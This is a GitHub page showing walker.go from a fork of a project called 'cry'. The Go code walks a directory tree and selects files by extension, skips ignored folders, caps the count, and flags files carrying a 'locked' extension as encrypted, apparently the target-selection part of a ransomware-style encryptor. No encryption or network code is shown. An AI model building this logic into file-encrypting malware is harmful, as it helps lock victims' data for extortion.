forked from wille/cry
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwalker.go
44 lines (36 loc) · 925 Bytes
/
walker.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package main
import (
"fmt"
"os"
"path/filepath"
"strings"
)
// Walk recursively walks the input directory and applies all rules (extensions, limits etc)
func Walk(startPath string, callback func(filePath string, fileInfo os.FileInfo, isEncrypted bool)) {
var count int
filepath.Walk(startPath, func(filePath string, fileInfo os.FileInfo, err error) error {
if err != nil {
fmt.Println("error", err.Error())
return nil
}
var proceed bool
for _, v := range Extensions {
if strings.HasSuffix(filePath, v) || strings.HasSuffix(filePath, LockedExtension) {
proceed = true
break
}
}
for _, v := range IgnoreDirs {
if strings.Contains(filepath.Dir(filePath), v) {
proceed = false
break
}
}
if proceed && count < ProcessMax {
count++
isEncrypted := strings.HasSuffix(filePath, LockedExtension)
callback(filePath, fileInfo, isEncrypted)
}
return nil
})
}